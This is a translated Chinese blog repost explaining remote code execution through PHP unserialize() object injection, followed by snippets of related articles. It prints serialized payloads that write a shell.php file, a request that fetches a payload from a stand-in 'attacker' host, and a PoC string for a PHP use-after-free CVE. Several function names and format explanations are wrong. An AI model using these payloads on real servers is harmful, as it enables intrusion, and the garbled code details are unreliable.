5. 通过PHP反序列化进行远程代码执行

通过PHP反序列化进行远程代码执行

0×00 前言

在NotSoSecure,我们每日都会进行渗透测试或代码审查,不过最近我们遇到了一段有趣的PHP代码,它可能会导致远程代码执行(RCE)漏洞,但对它进行利用却有点棘手。

在经历了几个试图破解这段代码的不眠之夜后,我们确信利用这个漏洞可以同时进行应用级和系统级别的代码执行。这篇来自Rahul Sasi的博文将讲解关于该漏洞的一些信息,以及如何对其进行利用。

0×01 包含漏洞的代码

在上面的代码中,用户控制的值可能会被传递给PHP的反序列化函数。在用户提供的输入未进行适当处理就传递给函数unserialize()时,此时就有可能导致该漏洞的发生。由于PHP中允许对象序列化,所以攻击者可以通过将特殊的序列化字符串传递到一个脆弱的unserialization()调用中,以此导致一个任意的PHP对象注入到应用程序范围中。在我们的代码中,应用程序接收一个文件名,接着使用PHP中的file_get_contents函数读取内容。然后,将输出内容输入到PHP的反序列化模块。之前已经提到,上面的漏洞可以同时进行应用级和系统级别的代码执行,所以接下来我们将深入分析该漏洞。

为了成功地利用上述漏洞,必须满足三个条件:

1、应用程序中必须含有一个实现某个PHP魔幻方法(例如__wakeup或者__destruct)的类,可以用这个类进行恶意攻击,或者开始一个“POP链”。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须为这些类支持对象自动加载。

3、传递给反序列化操作的数据必须来自于一个文件,所以服务器上必须包含有一个包含序列化数据的文件。

参考: https://www.owasp.org/index.php/PHP_Object_Injection

在上面的场景中,条件1和条件2是为了满足于漏洞利用。但是,因为反序列化操作的输入值来自于PHP中file_get_contents读取的一个文件,所以对该漏洞的利用有些棘手。

如果开启了allow_url_fopen(最新的PHP版本默认禁用),那么PHP函数file_get_contents可以接收远程URL作为其参数。在这种情况下,攻击者可以向该函数中输入一个包含一个恶意文件的URL,该文件中包含了序列化的植入于一个远程服务器上的恶意数据。

http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0×02 exp.txt内容

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

但不幸的是,我们测试的应用程序中并没有开启allow_url_fopen。注意:包含一个/proc/self/environ这样的文件或者任何类似的内容(例如访问日志)都不可能,因为序列化字符串不应该包含垃圾数据。所以,我们的文件应该只包含用于漏洞利用的序列化数据。

在讲解如何利用上面的代码之前,我们先解释一些有关PHP对象注入利用的知识,并分析上面的载荷(payload)到底做了什么。

0×03 PHP对象注入

基于PHP反序列化的安全问题首先在2009年由Stefan Esser记录。目前,基于JSON的应用序列化模块使用量明显增多,所以让我们深入了解一下序列化模块。

0×04 PHP序列化

为了在一个数组中保存内容,PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

参考: http://www.hackingwithphp.com/5/11/0/saving-arrays

接下来,下图中序列化一个包含3个字符的字符串数组。

理解序列化的字符串:

a:3{               Array of 3 values

i:0                Integer, value [ index-0]

S:5:”Lorem”      String, 5 chars long, string value “Lorem”

i:1                Integer, value [index-1]

S:5:”Ipsum”      String , 5 chars long, string value “Ipsum”

i:2                Integer, value [index-2]

S:5:”Dolor”      String , 5 chars long, string value “Dolor”

0×05 PHP反序列化

unserialization()是serialize()的相反操作函数。它需要一个序列化的字符串作为其输入,并将其转换回一个数组对象。另外,考虑到对象实例化和自动加载,反序列化可能会导致代码被加载并被执行。

例子:

value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’
unserialization($value);

0×06 PHP自动载入

在PHP中,我们可以定义一些特殊函数,它们可以被自动地调用,所以这些函数不需要函数调用来执行它们里面的代码。考虑到这个特性,这些函数通常被称为魔幻函数或魔幻方法。PHP魔幻方法名称受限于PHP所支持的部分关键字,例如construct、destruct等等。

此外,最常用的魔幻函数是__construct(),因为PHP版本5中,__construct方法实际上是你所定义的类的构造函数。对于一个给定的类,如果PHP 5找不到__construct()函数,那么它将搜索一个与类名字相同的函数,这是PHP中编写构造器的老方法,这种方法中你只需要定义一个名字与类名相同的函数。

下面是PHP中的一些魔幻函数:

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload().

下面是PHP中的一些魔幻方法:

Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString

参考:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0×07 对象实例化

实例化是指:当通过在内存中创建类的一个实例时,一个类的具体化就变成了一个对象。所以,当你真正调用new class()时,class()就成为了一个实例化的对象。当你反序列化一个字符串时,而这正是PHP所做的(对象实例化),就会将一个字符串的数组转换成对象。反序列化对象允许控制所有属性:public、protected和private。然而,反序列化对象通过__wakeup()苏醒,后来通过__destruct()被销毁,因此这些(wakeup、destruct)魔幻函数中已经存在的代码将会得到执行。

参考:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf

所以,我们需要找到_destruct或_wakeup内定义的现有可用的代码,然后劫持应用程序的流程。

在我们脆弱的程序中,__destruct函数中包含一个函数file_put_contents:

所以我们的有效载荷(payload)看起来是这样的:

O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;}

O:3{:                            [ Object, takes 3 parameter with name foo]

”foo”: 2:{                     [Parameter foo takes 2 values]

S:4:”file”;s:9:”shell.php”;  [String, 4 chars long, value “file”, string 9 chars long, value
                                  shell.php]

s:4:”data”;s:5:”aaaa”;}      String, 4 chars long, string 5 chars long, value”aaaa”

所以当我们上面输入的是反序列化的字符串时,它允许控制类“foo”的属性。因此,魔幻方法“__destruct”中存在的代码将会以我们控制的值来执行,在我们的例子中为file_put_contents,创建一个文件“shell.php”。

0×08 漏洞利用

在我们的例子中,因为输入到unserialization()函数的是内容是从file_get_contents中读取的文件。

$file_name = $_GET[‘session_filename‘];
unserialization(file_get_contents($file ));

所以,我们尝试的其中一件事就是,找到一个方法来将exp.txt存放在服务器上。为此,我们必须找到一个文件/图片上传功能,然后以序列化的有效载荷上传该文件。然后,我们要做的就是以下面的方式触发。

http://vul-server/unsearilize.php?session_filename=images/exp.txt

使用CVE-2014-8142和CVE-2015-0231可以进行系统级远程代码执行:

“Use-after-free漏洞存在于ext/standard/var_Unserializationr.re中的函数process_nested_data内,该漏洞存在于PHP 5.4.36的之前版本、5.5.20之前的5.5.x版本以及5.6.4之前的5.6 x版本中,它允许远程攻击者通过一个精心编制的反序列化调用执行任意代码,因为在一个对象的序列化属性中,这个调用影响到了对重复键的不适当处理。”

https://bugs.php.net/bug.php?id=68710

上面的漏洞影响核心PHP unsearilize函数,这个POC由Stefan Esser发布,我们曾试图优化并利用该漏洞使代码执行成为可能,因为如果成功地进行了利用,那么将可以做到系统级的远程代码执行。

0×09 PHP+Apache安全架构

这些图已经足以详细解释PHP架构。

1)如果我们可以在PHP中的上下文执行代码,那么我们将可以打破许多限制。

2)应该能够通过shell访问加固的PHP主机。

我的工作仍然集中于这方面,并且我发现“Tim Michaud”在相同的网站上也能工作。我们将很快更新这篇博文。

http://[IP]/unsearilize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}‘;

0x0A 参考资料

1、http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2、https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3、http://php-autoloader.malkusch.de/en

4、https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5、http://security.stackexchange.com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting-

6、http://xahlee.info/php-doc/

7、http://phppot.com/php/php-magic-methods

8、http://php.net/manual/en/

9、http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

原文地址:https://www.cnblogs.com/bmjoker/p/8889240.html

时间: 2024-08-22 01:11:27

5. 通过PHP反序列化进行远程代码执行的相关文章

PHP 'ext/zip/php_zip.c'释放后重利用远程代码执行漏洞(CVE-2016-5773)

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中. PHP < 5.5.37, 5.6.x < 5.6.23, 7.x < 7.0.8版本,zip扩展php_zip.c未正确处理反序列化及垃圾收集,远程攻击者通过构造的序列化数据,可执行任意代码或造成拒绝服务. 解决方法 厂商补丁: PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://github.com/php/php-src/commit/f6aef680892

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc下载链接如下. github地址:https://github.com/edwardz246003/IIS_exploit 结合上面的POC,我们对漏洞的成因及利用过程进行了详细的分析.在分析过程中,对poc的exploit利用技巧感到惊叹,多次使用同一个漏洞函数触发,而同一个漏洞同一段漏洞利用代码

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh

ElasticSearch Groovy远程代码执行POC和exp

 ElasticSearch的这个漏洞的编号是CVE-2015-1427,影响版本为1.3.0-1.3.7以及1.4.0-1.4.2,漏洞成因详见:http://drops.wooyun.org/papers/5107,本文具体探讨一下漏洞利用. 1.2.0版本默认是禁用了脚本执行,如果要使用该功能的话,要在elasticsearch.yml中设置script.disable_dynamic:true. 在1.3.0版本,开始使用groovy和sandbox来进行脚本执行,其中使用了白名单机

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN